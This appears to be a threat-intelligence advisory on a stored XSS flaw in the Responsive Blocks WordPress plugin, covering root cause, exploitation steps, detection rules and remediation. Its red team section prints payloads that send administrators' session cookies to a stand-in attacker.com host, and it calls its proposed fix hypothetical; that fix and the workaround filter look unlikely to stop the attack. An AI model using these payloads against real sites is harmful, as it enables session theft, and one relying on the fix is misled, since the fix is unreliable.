CVE-2024-12268

Executive Summary

CVE-2024-12268 is a Stored Cross-Site Scripting (XSS) vulnerability in the Responsive Blocks – WordPress Gutenberg Blocks plugin (slug: responsive-block-editor-addons). The flaw resides in the responsive-block-editor-addons/portfolio block, where insufficient input sanitization and output escaping allow authenticated attackers with at least Contributor-level access to inject arbitrary web scripts. When a user (including administrators) visits a page containing the malicious block, the injected script executes in their browser, potentially leading to session hijacking, defacement, or further compromise.

This vulnerability affects all versions up to and including 1.9.7. No patch has been released by the vendor at the time of analysis. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk is elevated for WordPress sites with untrusted contributors.

Supply Chain & Package Security

This is a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of the plugin by checking the plugin’s SHA-256 hash against the version listed on WordPress.org. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors forking or distributing tampered versions.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Base Score: 6.4 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The vulnerability requires authentication, but Contributor-level access is often granted to low-trust users. The stored XSS can be used to escalate privileges or steal sensitive data.

Deep Dive & Mechanics

The vulnerability exists in the responsive-block-editor-addons/portfolio Gutenberg block. When a user creates or edits a post using this block, the plugin fails to properly sanitize user-supplied attributes (e.g., title, description, or custom CSS classes) before storing them in the database. Additionally, when the block is rendered on the frontend, the plugin does not escape these attributes, allowing arbitrary HTML and JavaScript to be injected.

Root Cause:

• In the block’s save function (or dynamic rendering callback), user input is directly concatenated into HTML attributes or inner HTML without using wp_kses_post() or esc_attr().
• The plugin uses dangerouslySetInnerHTML or equivalent in React/Gutenberg, bypassing WordPress’s built-in escaping.

Attack Flow:

1. An attacker with Contributor-level access creates a new post or page.
2. They add the responsive-block-editor-addons/portfolio block.
3. In a block attribute (e.g., title), they inject a payload like: <img src=x onerror=alert(document.cookie)>.
4. The payload is stored in the database.
5. When any user (including admins) views the post, the script executes in their browser.

Vulnerable vs. Patched Code

Vulnerable Code (simplified example from version 1.9.7):

// In block's save function
save: function(props) {
    var attributes = props.attributes;
    return el('div', { className: 'portfolio-block' },
        el('h3', { dangerouslySetInnerHTML: { __html: attributes.title } })
    );
}

Patched Code (hypothetical fix):

save: function(props) {
    var attributes = props.attributes;
    return el('div', { className: 'portfolio-block' },
        el('h3', null, wp.element.RawHTML( { children: wp.htmlEntities.decodeEntities( attributes.title ) } ) )
    );
}

The patched version would use wp.htmlEntities.decodeEntities and avoid dangerouslySetInnerHTML, or use wp_kses_post() on the server side.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with Responsive Blocks plugin <= 1.9.7.
• A user account with Contributor-level privileges.

Steps:

1. Log in as a Contributor.
2. Create a new post.
3. Add the responsive-block-editor-addons/portfolio block.
4. In the block’s title attribute, inject the following payload:

   <img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>
   

5. Publish the post.
6. When an administrator views the post, the payload executes, sending their session cookie to the attacker’s server.

Alternative Payload (for session hijacking):

<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor for posts containing suspicious HTML in the portfolio block attributes.
• Use the YARA and Sigma rules below to scan logs and database dumps.

Hardening:

• Disable the plugin until a patch is released.
• Restrict Contributor-level access to trusted users only.
• Implement a Web Application Firewall (WAF) rule to block common XSS payloads in post content.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/responsive-block-editor-addons/ (entire plugin directory)
• Database: Posts containing the wp:responsive-block-editor-addons/portfolio block with suspicious title, description, or className attributes.
• Network: Outbound requests to attacker-controlled domains from the WordPress server (e.g., GET /steal?cookie=...).
• Logs: WordPress debug log entries showing wp_kses failures or unescaped output.

Detection Engineering

YARA Rule

rule Detect_Responsive_Blocks_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads targeting CVE-2024-12268 in WordPress database exports"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-12268"
    strings:
        $payload1 = /responsive-block-editor-addons\/portfolio.*onerror\s*=/ nocase
        $payload2 = /responsive-block-editor-addons\/portfolio.*<script/i nocase
        $payload3 = /responsive-block-editor-addons\/portfolio.*onload\s*=/ nocase
    condition:
        any of them
}

Sigma Rule

title: Stored XSS via Responsive Blocks Portfolio Block
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in WordPress posts using the responsive-block-editor-addons/portfolio block
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url: '/wp-admin/post.php'
        http.body|contains: 'responsive-block-editor-addons/portfolio'
    keywords:
        - 'onerror='
        - 'onload='
        - '<script'
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in block attributes (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-12268 Stored XSS Payload in WordPress Post"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"responsive-block-editor-addons/portfolio"; http_client_body; pcre:"/(onerror|onload|onclick|javascript)\s*=/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if it is not critical to operations.
2. Remove or edit any posts containing the vulnerable block that may have been compromised.
3. Change all WordPress admin passwords and invalidate active sessions.

Long-Term Fix:

• The vendor must release a patched version (>= 1.9.8) that properly sanitizes and escapes block attributes.
• Until then, apply a virtual patch using a WAF (e.g., Wordfence, Cloudflare) to block XSS payloads in post content.

Workaround:

• Use the wp_kses_allowed_html filter to strip dangerous attributes from the portfolio block:

  add_filter('wp_kses_allowed_html', function($allowedtags, $context) {
      if ($context === 'post') {
          unset($allowedtags['div']['onerror']);
          unset($allowedtags['img']['onerror']);
      }
      return $allowedtags;
  }, 10, 2);
  

Valters IT
DevSecOps & Cyber Threat Intelligence